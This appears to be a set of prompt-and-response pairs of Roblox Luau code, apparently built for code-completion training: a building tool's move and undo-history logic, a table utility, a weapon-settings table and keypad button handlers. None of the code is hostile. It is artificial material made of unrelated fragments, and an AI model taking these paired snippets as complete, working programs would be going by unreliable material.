		NudgeAmount = -NudgeAmount;
	end;

	-- Track this change
	self:TrackChange()

	-- Prepare parts to be moved
	local InitialState, InitialFocusCFrame = self:PreparePartsForDragging()

	-- Perform the movement
	self:MovePartsAlongAxesByFace(Face, NudgeAmount, InitialState, InitialFocusCFrame)

	-- Indicate updated drag distance
	self.DragChanged:Fire(NudgeAmount)

	-- Cache up permissions for all private areas
	local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);

	-- Revert changes if player is not authorized to move parts to target destination
	if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
		for Part, State in pairs(InitialState) do
			Part.CFrame = State.CFrame;
		end;
	end;

	-- Restore the parts' original states
	for Part, State in pairs(InitialState) do
		Part:MakeJoints();
		Core.RestoreJoints(State.Joints);
		Part.CanCollide = State.CanCollide;
		Part.Anchored = State.Anchored;
	end;

	-- Register the change
	self:RegisterChange()

end

function MoveTool:TrackChange()

	-- Start the record
	self.HistoryRecord = {
		Parts = Support.CloneTable(Selection.Parts);
		BeforeCFrame = {};
		AfterCFrame = {};
		Selection = Selection.Items;

		Unapply = function (Record)
			-- Reverts this change

			-- Select the changed parts
			Selection.Replace(Record.Selection)

			-- Put together the change request
			local Changes = {};
			for _, Part in pairs(Record.Parts) do
				table.insert(Changes, { Part = Part, CFrame = Record.BeforeCFrame[Part] });
			end;

			-- Send the change request
			Core.SyncAPI:Invoke('SyncMove', Changes);

		end;

		Apply = function (Record)
			-- Applies this change

			-- Select the changed parts
			Selection.Replace(Record.Selection)

			-- Put together the change request
			local Changes = {};
			for _, Part in pairs(Record.Parts) do
				table.insert(Changes, { Part = Part, CFrame = Record.AfterCFrame[Part] });
			end;

			-- Send the change request
			Core.SyncAPI:Invoke('SyncMove', Changes);

		end;

	};

	-- Collect the selection's initial state
	for _, Part in pairs(self.HistoryRecord.Parts) do
		self.HistoryRecord.BeforeCFrame[Part] = Part.CFrame
	end

end

function MoveTool:RegisterChange()
	-- Finishes creating the history record and registers it

	-- Make sure there's an in-progress history record
	if not self.HistoryRecord then
		return
	end

	-- Collect the selection's final state
	local Changes = {};
	for _, Part in pairs(self.HistoryRecord.Parts) do
		self.HistoryRecord.AfterCFrame[Part] = Part.CFrame
		table.insert(Changes, { Part = Part, CFrame = Part.CFrame });
	end;

	-- Send the change to the server
	Core.SyncAPI:Invoke('SyncMove', Changes);

	-- Register the record and clear the staging
	Core.History.Add(self.HistoryRecord)
	self.HistoryRecord = nil

end

function MoveTool:PreparePartsForDragging()
	-- Prepares parts for dragging and returns the initial state of the parts

	local InitialState = {};

	-- Get index of parts
	local PartIndex = Support.FlipTable(Selection.Parts)

	-- Stop parts from moving, and capture the initial state of the parts
	for _, Part in pairs(Selection.Parts) do
		InitialState[Part] = { Anchored = Part.Anchored, CanCollide = Part.CanCollide, CFrame = Part.CFrame };
		Part.Anchored = true;
		Part.CanCollide = false;
		InitialState[Part].Joints = Core.PreserveJoints(Part, PartIndex);
		Part:BreakJoints();
		Part.Velocity = Vector3.new();
		Part.RotVelocity = Vector3.new();
	end;

	-- Get initial state of focused item
	local InitialFocusCFrame
	local Focus = Selection.Focus
	if not Focus then
		InitialFocusCFrame = nil
	elseif Focus:IsA 'BasePart' then
		InitialFocusCFrame = Focus.CFrame
	elseif Focus:IsA 'Model' then
		InitialFocusCFrame = Focus:GetModelCFrame()
	end

	return InitialState, InitialFocusCFrame
end;


Prompt:
--[=[
	@within TableUtil
	@function IsEmpty
	@param tbl table
	@return boolean

	Returns `true` if the given table is empty. This is
	simply performed by checking if `next(tbl)` is `nil`
	and works for both arrays and dictionaries. This is
	useful when needing to check if a table is empty but
	not knowing if it is an array or dictionary.

	```lua
	TableUtil.IsEmpty({}) -- true
	TableUtil.IsEmpty({"abc"}) -- false
	TableUtil.IsEmpty({abc = 32}) -- false
	```
]=]

Response:
local function IsEmpty(tbl: { any }): boolean
	return next(tbl) == nil
end


Response:
	 TeamKill = true					--- Enable TeamKill?
	,TeamDamageMultiplier = 1			--- Between 0-1 | This will make you cause less damage if you hit your teammate

	,ReplicatedBullets = true			--- Keep in mind that some bullets will pass through surfaces...

	,AntiBunnyHop = true				--- Enable anti bunny hop system?
	,JumpCoolDown = 3					--- Seconds before you can jump again
	,JumpPower = 50						--- Jump power, default is 50

	,RealisticLaser = true				--- True = Laser line is invisible
	,ReplicatedLaser = true
	,ReplicatedFlashlight = true

	,EnableRagdoll = true				--- Enable ragdoll death?
	,TeamTags = true					--- Aaaaaaa
	,HitmarkerSound = false				--- GGWP MLG 360 NO SCOPE xD


Prompt: -- This script listens for RemoteEvents that will be called from the client ("Main" script)

Response: local Home = script.Parent


Prompt: --Fucntion for the buttons.

Response:
Frame:WaitForChild("Delete").MouseButton1Click:Connect(function()
	deletenumber()
end)
Frame:WaitForChild("Ok").MouseButton1Click:Connect(function()
	finish()
end)
Frame:WaitForChild("B0").MouseButton1Click:Connect(function()
	addnumber(0)	--plays addnunber function with a number that matches the button. For example when we pess button0, we play the function with number 0
end)
Frame:WaitForChild("B1").MouseButton1Click:Connect(function()
	addnumber(1)
end)
Frame:WaitForChild("B2").MouseButton1Click:Connect(function()
	addnumber(2)
end)
Frame:WaitForChild("B3").MouseButton1Click:Connect(function()
	addnumber(3)
end)
Frame:WaitForChild("B4").MouseButton1Click:Connect(function()
	addnumber(4)
end)
Frame:WaitForChild("B5").MouseButton1Click:Connect(function()
	addnumber(5)
end)
Frame:WaitForChild("B6").MouseButton1Click:Connect(function()
	addnumber(6)
end)
Frame:WaitForChild("B7").MouseButton1Click:Connect(function()
	addnumber(7)
end)
Frame:WaitForChild("B8").MouseButton1Click:Connect(function()
	addnumber(8)
end)
Frame:WaitForChild("B9").MouseButton1Click:Connect(function()
	addnumber(9)
end)